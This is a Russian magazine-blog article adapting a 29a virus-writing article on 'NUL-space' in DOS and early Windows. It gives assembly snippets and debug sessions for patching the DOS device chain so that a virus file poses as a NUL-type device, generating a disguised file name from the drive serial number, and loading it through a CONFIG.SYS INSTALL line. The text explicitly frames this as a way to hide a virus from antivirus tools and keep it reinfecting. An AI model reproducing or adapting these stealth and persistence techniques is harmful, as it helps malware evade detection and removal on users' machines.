Настольная книга компьютерного исследователя


Nul-Space

Все помнят и до сих пор читают один из лучших в своем роде — Vx журнал 29a. Последний  выпуск которого был сделан совсем давно и  затрагивает так скажем «современные проблемы». Но и в старых, первых выпусках, было и есть не мало актуальных и интересных по сей день статей. Статья из которой я почерпнул материал рассказывает  о ‘нулевом пространстве’. Переводом в чистом виде ее назвать нельзя, но также и нельзя сказать, что она далека от оригинала.

Итак, чем являются Con,  Lpt, Prn/etc? Правильно — это драйвера устройств. Nul также является устройством, выполняющим одну простую функцию — Пустота, Ничего, Нуль и т.д. Попробуйте создать директорию или файлец с именем nul. Попробуйте copy *.* nul. Эксперементы welcome ;)

Dos функция 52h — получить адрес векторной таблицы связи (выход в es:bx)

;────────────────────────────────────────────────────────────────────────────
c:\>debug
-a 0100
-1b94:0100 mov ah,52
-1b94:0102 int 21
-1b94:0104 int 3
-g

ax=5200 bx=0026 cx=0000 dx=0000 sp=ffee bp=0000 si=0000 di=0000
ds=1b94 es=00c9 ss=1b94 cs=1b94 ip=0104 nv up ei pl nz na po nc
1b94:0104 cc int 3
;───EOF──────────────────────────────────────────────────────────────────────

Получили то , что нам нужно.Формат таблицы:

Смещение  Размер                    Описание
00h       dword      Указатель на первый блок параметров диска
04h       dword      Указатель на первую системную файловую таблицу
08h       dword      Указатель на заголовок активного драйвера
0Ch       dword      Указатель на заголовок активного драйвера консоли
etc,etc
22h      18byte      Заголовок драйвера устройства NUL (не указатель!)
                     NUL - всегда стоит на первом месте в списке указателей
                     драйверов утройств.

На самом деле таблица имеет и смещения «назад» включая в себя счетчики повторов, открытых fcb, сегмент данных dos и т.д., что в данном случае не так важно. А важным является смещение +22h размером в 18 байт. Возвращаемся в debug.

es:bx+22h = 48h

;────────────────────────────────────────────────────────────────────────────
c:\>debug
-d es:48 l 12
00c9:0040                         00 00 70 07 04 80 cd 0d          ........
00c9:0050 d3 0d 4e 55 4c 20 20 20-20 20                    ..NUL
;───EOF──────────────────────────────────────────────────────────────────────

Этот NUL , вполне меняется на нужный нам файл/директорию/etc:

;────────────────────────────────────────────────────────────────────────────
-e es:52 «AUTOEXEC»
-q
;───EOF──────────────────────────────────────────────────────────────────────

После выполнения попробуйте что-либо сделать с файлом. Стереть, изменить, переименовать и т.д. и т.п. В общем виде это:

;────────────────────────────────────────────────────────────────────────────
mov ah,52h
int 21h
mov es:[0052h],'OTUA'
mov es:[0056h],'CEXE'
ret
;───EOF──────────────────────────────────────────────────────────────────────

Но это все не является хорошим способом для защиты виря. Можно ли сделать другой 18байтный NUL с другим именем? Да. Вот формат девайса:

Формат заголовка драйвера DOS устройства:

Смещение  Размер                    Описание
00h       dword       Указатель на следующий драйвер,смещение=ffffh
                      если драйвер последний.
04h       word        Атрибуты устройства (смотрите ниже)
06h       word        Стратег. точка входа
08h       word        Точка входа прерывания.
0ah      8bytes       Логическое имя устройства.

Значения бит для атрибутов девайса:

Бит                              Значение

15             1 - если символьное устройство , 0 - если блочное.
14             1 - если IOCTL чтение/запись поддерживается.
13             1 - вывод временно занят
12             Резерв (должен быть в 1!)
11             1 - если носитель поддерживает открытие/закрытие/смену
10-8           Резерв (должен быть в 0!)
7              IOCTL контрольный вызов поддерживается
6              IOCTL вызов поддерживается
5              Зарезервировано
4              Специальный девайс (int 29h "быстрый консольный вывод")
3              устройство СLOCK$
2              устройство NUL
1              устройство стандартного вывода
0              устройство стандартного ввода

Идем дальше:

;────────────────────────────────────────────────────────────────────────────
-d es:48l12
00c9:0040                         00 00 70 07 04 80 cd 0d          ........
00c9:0050 d3 0d 4e 55 4c 20 20 20-20 20                    ..NUL
;───EOF──────────────────────────────────────────────────────────────────────

Что мы видим. Мы видим, что 0770:0000h — следующие устройство в цепи, атрибуты — 8004h, стратегия и точка прерывания 00c9:0dcdh и 00с9:0dd3h. Стратегия и точка прерывания для NUL устройства просто должны указать на RETF (cb). На самом деле они могут указывать куда угодно т.к. они не используются ;). В вышеуказанном примере на retf указывает лишь точка прерывания :).

Для того, чтобы сделать наше собственное NUL устройство можно сделать приблизительно это:

;────────────────────────────────────────────────────────────────────────────
[...]
mov     ah,52h        ; получение списка списков
int     21h
cld                   ; получить адрес следующего
; устройства в ds:si
lds     si,dword ptr es:[bx+22h]
push    cs            ; указатель на наше устройство
pop     es
mov     di,offset virus_device
movsw                 ; копируем цепочку устройства на наше
movsw                 ; затем hook на нашем девайсе
mov     word ptr ds:[si-02h],cs
mov     word ptr ds:[si-04h],offset virus_device
[...]
virus_device    dd      -1h
dw      8004h           ; NUL сивольные атрибуты
dw      return_far      ; указатель стратегии
dw      return_far      ; указатель прерывания
db      "VIRUS   "      ; любое имя файла которое вы хотите
; иметь в NUL-Space
[...]
return_far:     retf
;───EOF──────────────────────────────────────────────────────────────────────

Вирус можно обозвать C:\FDGDIKGA.PKB (псевдо-случаное имя и расширение). Это имя может быть производно взято с C: диска (serial number)

;────────────────────────────────────────────────────────────────────────────
[...]
mov     ax,6900h        ; получим серийной номер драйва
mov     bx,0003h        ; драйв C:
push    cs
pop     ds
mov     dx,offset info  ; где будет серийной номер
int     21h
; создаем файл с именем из C: serialnumber
cld
mov     si,offset serialnumber
mov     di,offset device_name
mov     cx,0004h        ; цикл 4 раза
get_serial:     lodsb                   ; получить начало serial number
push    cx
mov     cl,04h          ; внутренний цикл 4 раза
make_file:      sub     al,cl
ror     al,cl           ; псевдо произвольная буква
mov     bl,al
and     bl,0fh
add     bl,"A"
mov     byte ptr ds:[di],bl
inc     di              ;сохраняем это и перемещаем указатель
loop    make_file
pop     cx
loop    get_serial
mov     byte ptr ds:[file_dot],"."      ; восстанавливаем "."
mov     byte ptr ds:[asciz_nul],00h     ; восстанавливаем nul
mov     dx,offset file_name
;теперь создаем вирус по имени в DS:DX
[...]
info            dw      0
serialnumber    dd      0               ; драйв C: serial number
db      19 dup(0)
file_name       db      "C:\"
device_name     db      "VIRUS000"      ; здесь псевдо-вирусное имя
file_dot        db      ".000"          ; с псевдо расширением.
asciz_nul       db      00h,00h,00h

;───EOF──────────────────────────────────────────────────────────────────────

Устанавливаются всякие атрибуты типа read-only, hidden, etc. Теперь создается NUL устройство c любым извратным именем, типа FDGDIKGA. В config добавляется строка такого вида:

INSTALL=C:\FDGDIKGA.PKB

После ребута разгрузится прога которая не имеет расширения, соответсвенно большинство AV даже не будут пытаться устраивать свои проверки. Но если устроили бы, то читать, удалять и т.д. NUL пространство они не смогут ;) Антивирусники могут конечно добавить строчку сканирования вашего виря и убить всех его детей, но родителя из NUL они не получат. А ‘папа’ будет заражать снова и снова. Может он будет заражать по пятницам, а может 13 числа каждого месяца, какбы то не было — он будет возвращаться снова и снова.

NUL-SPACE и Windows

──────────────────────

Под виндой все работает просто отлично с одним примечательным исключением; Утилка SCANDSKW.EXE — задевает файлы с теме же именами как и устройства. Решение соответсвенно простое: Создается NUL устройство с именем SCANDSKW.

Возможно захотелось бы использовать AUX как NUL устройство (AUX — синоним COM1). Можно конечно использовать и PRN, но PRN все-же используется чаще чем AUX. И даже LPT3′s тоже можно заюзать ;) Вот приблизительный способ нахождения AUX (при помощи цепи).

;────────────────────────────────────────────────────────────────────────────
mov     ah,52h                  ; получить список списков
int     21h
add     bx,22h                  ; указатель на NUL устройство
check_end:      cmp     word ptr es:[bx],-1     ; конец цепи?
je      end_chain
cmp     word ptr es:[bx+0ah],"UA"
jne     next_device             ; Найдем "AUX "
cmp     word ptr es:[bx+0ch]," X"
jne     next_device
[...]
;найденное AUX устройство в ES:BX меняется на любое имя в ES:BX+0Ah.
[...]
mov     word ptr es:[bx+04h],8004h  ; установить NUL девайс
jmp     short end_chain
next_device:    les     bx,dword ptr es:[bx]  ;получить следующие устрйоство
;в цепи
jmp     short check_end
end_chain:

;───EOF──────────────────────────────────────────────────────────────────────

Напоследок, чтобы увидеть мощность NUL-SPACE, cделaйте в винде вот это:
md\»NUL           «.  Будет весело.

p.s. В оригинальном тексте статьи был еще один очень маленький раздел, но он мало связан с тем о чем здесь говорилось, и намного более не актуальный чем не актуальна для кого-то и данная статья ;)



©2013 Журнал Хакера Entries (RSS) and Comments (RSS)